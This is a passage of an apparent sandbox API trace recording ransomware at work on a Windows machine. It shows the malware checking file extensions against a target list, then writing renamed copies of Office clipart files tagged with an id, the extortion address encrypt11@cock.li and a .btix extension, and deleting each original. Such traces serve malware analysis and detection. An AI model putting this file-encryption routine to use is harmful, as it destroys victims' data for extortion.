4 [0155.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.327] lstrlenW (lpString=".xls") returned 4 [0155.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.327] lstrlenW (lpString=".xlsx") returned 5 [0155.327] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.327] lstrlenW (lpString=".ppt") returned 4 [0155.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0155.327] lstrlenW (lpString=".zip") returned 4 [0155.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.327] lstrlenW (lpString=".rar") returned 4 [0155.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.327] lstrlenW (lpString=".bz2") returned 4 [0155.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.327] lstrlenW (lpString=".7z") returned 3 [0155.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0155.327] lstrlenW (lpString=".dbf") returned 4 [0155.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0155.327] lstrlenW (lpString=".1cd") returned 4 [0155.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0155.327] lstrlenW (lpString=".jpg") returned 4 [0155.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.335] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.335] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0155.336] GetLastError () returned 0x0 [0155.336] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x4b8, lpOverlapped=0x0) returned 1 [0155.344] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0155.344] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.345] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.345] SetEndOfFile (hFile=0x35c) returned 1 [0155.345] CloseHandle (hObject=0x35c) returned 1 [0155.345] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.345] SetEndOfFile (hFile=0x37c) returned 1 [0155.346] CloseHandle (hObject=0x37c) returned 1 [0155.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 1 [0155.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0155.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0155.346] lstrlenW (lpString=".doc") returned 4 [0155.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.346] lstrlenW (lpString=".docx") returned 5 [0155.346] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.346] lstrlenW (lpString=".pdf") returned 4 [0155.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.346] lstrlenW (lpString=".xls") returned 4 [0155.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.346] lstrlenW (lpString=".xlsx") returned 5 [0155.347] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.347] lstrlenW (lpString=".ppt") returned 4 [0155.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0155.347] lstrlenW (lpString=".zip") returned 4 [0155.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.347] lstrlenW (lpString=".rar") returned 4 [0155.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.347] lstrlenW (lpString=".bz2") returned 4 [0155.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.347] lstrlenW (lpString=".7z") returned 3 [0155.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0155.347] lstrlenW (lpString=".dbf") returned 4 [0155.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0155.347] lstrlenW (lpString=".1cd") returned 4 [0155.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0155.347] lstrlenW (lpString=".jpg") returned 4 [0155.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.347] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.347] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0155.348] GetLastError () returned 0x0 [0155.348] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x132c, lpOverlapped=0x0) returned 1 [0155.356] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1330, lpOverlapped=0x0) returned 1 [0155.357] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.357] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.357] SetEndOfFile (hFile=0x35c) returned 1 [0155.359] CloseHandle (hObject=0x35c) returned 1 [0155.360] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.360] SetEndOfFile (hFile=0x37c) returned 1 [0155.362] CloseHandle (hObject=0x37c) returned 1 [0155.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 1 [0155.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0155.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0155.363] lstrlenW (lpString=".doc") returned 4 [0155.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.363] lstrlenW (lpString=".docx") returned 5 [0155.363] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.363] lstrlenW (lpString=".pdf") returned 4 [0155.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.363] lstrlenW (lpString=".xls") returned 4 [0155.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.363] lstrlenW (lpString=".xlsx") returned 5 [0155.363] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.363] lstrlenW (lpString=".ppt") returned 4 [0155.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0155.363] lstrlenW (lpString=".zip") returned 4 [0155.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.363] lstrlenW (lpString=".rar") returned 4 [0155.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.363] lstrlenW (lpString=".bz2") returned 4 [0155.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.363] lstrlenW (lpString=".7z") returned 3 [0155.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0155.363] lstrlenW (lpString=".dbf") returned 4 [0155.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0155.363] lstrlenW (lpString=".1cd") returned 4 [0155.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0155.363] lstrlenW (lpString=".jpg") returned 4 [0155.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.366] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.366] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0155.366] GetLastError () returned 0x0 [0155.366] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1ec4, lpOverlapped=0x0) returned 1 [0155.372] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0155.373] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.373] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.373] SetEndOfFile (hFile=0x3a4) returned 1 [0155.373] CloseHandle (hObject=0x3a4) returned 1 [0155.373] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.373] SetEndOfFile (hFile=0x390) returned 1 [0155.374] CloseHandle (hObject=0x390) returned 1 [0155.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 1 [0155.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0155.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0155.376] lstrlenW (lpString=".doc") returned 4 [0155.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.376] lstrlenW (lpString=".docx") returned 5 [0155.376] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0155.377] lstrlenW (lpString=".pdf") returned 4 [0155.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.377] lstrlenW (lpString=".xls") returned 4 [0155.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.377] lstrlenW (lpString=".xlsx") returned 5 [0155.377] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0155.377] lstrlenW (lpString=".ppt") returned 4 [0155.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0155.377] lstrlenW (lpString=".zip") returned 4 [0155.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.377] lstrlenW (lpString=".rar") returned 4 [0155.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.377] lstrlenW (lpString=".bz2") returned 4 [0155.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.377] lstrlenW (lpString=".7z") returned 3 [0155.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0155.377] lstrlenW (lpString=".dbf") returned 4 [0155.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0155.377] lstrlenW (lpString=".1cd") returned 4 [0155.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0155.377] lstrlenW (lpString=".jpg") returned 4 [0155.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.382] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.382] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0155.385] GetLastError () returned 0x0 [0155.386] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2370, lpOverlapped=0x0) returned 1 [0155.388] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2380, lpOverlapped=0x0) returned 1 [0155.389] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.389] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.389] SetEndOfFile (hFile=0x35c) returned 1 [0155.391] CloseHandle (hObject=0x35c) returned 1 [0155.391] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.391] SetEndOfFile (hFile=0x348) returned 1 [0155.392] CloseHandle (hObject=0x348) returned 1 [0155.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 1 [0155.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0155.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0155.394] lstrlenW (lpString=".doc") returned 4 [0155.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.394] lstrlenW (lpString=".docx") returned 5 [0155.394] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0155.394] lstrlenW (lpString=".pdf") returned 4 [0155.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.394] lstrlenW (lpString=".xls") returned 4 [0155.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.394] lstrlenW (lpString=".xlsx") returned 5 [0155.394] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0155.394] lstrlenW (lpString=".ppt") returned 4 [0155.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0155.394] lstrlenW (lpString=".zip") returned 4 [0155.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.394] lstrlenW (lpString=".rar") returned 4 [0155.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.394] lstrlenW (lpString=".bz2") returned 4 [0155.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.395] lstrlenW (lpString=".7z") returned 3 [0155.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0155.395] lstrlenW (lpString=".dbf") returned 4 [0155.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0155.395] lstrlenW (lpString=".1cd") returned 4 [0155.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0155.395] lstrlenW (lpString=".jpg") returned 4 [0155.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.397] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.397] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0155.398] GetLastError () returned 0x0 [0155.398] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x794, lpOverlapped=0x0) returned 1 [0155.401] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x7a0, lpOverlapped=0x0) returned 1 [0155.401] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.401] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.401] SetEndOfFile (hFile=0x37c) returned 1 [0155.403] CloseHandle (hObject=0x37c) returned 1 [0155.403] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.403] SetEndOfFile (hFile=0x390) returned 1 [0155.404] CloseHandle (hObject=0x390) returned 1 [0155.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 1 [0155.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0155.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0155.407] lstrlenW (lpString=".doc") returned 4 [0155.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.407] lstrlenW (lpString=".docx") returned 5 [0155.407] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0155.407] lstrlenW (lpString=".pdf") returned 4 [0155.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.407] lstrlenW (lpString=".xls") returned 4 [0155.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.407] lstrlenW (lpString=".xlsx") returned 5 [0155.407] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0155.407] lstrlenW (lpString=".ppt") returned 4 [0155.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0155.407] lstrlenW (lpString=".zip") returned 4 [0155.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.407] lstrlenW (lpString=".rar") returned 4 [0155.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.407] lstrlenW (lpString=".bz2") returned 4 [0155.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.407] lstrlenW (lpString=".7z") returned 3 [0155.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0155.407] lstrlenW (lpString=".dbf") returned 4 [0155.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0155.407] lstrlenW (lpString=".1cd") returned 4 [0155.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0155.407] lstrlenW (lpString=".jpg") returned 4 [0155.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.410] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.410] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program 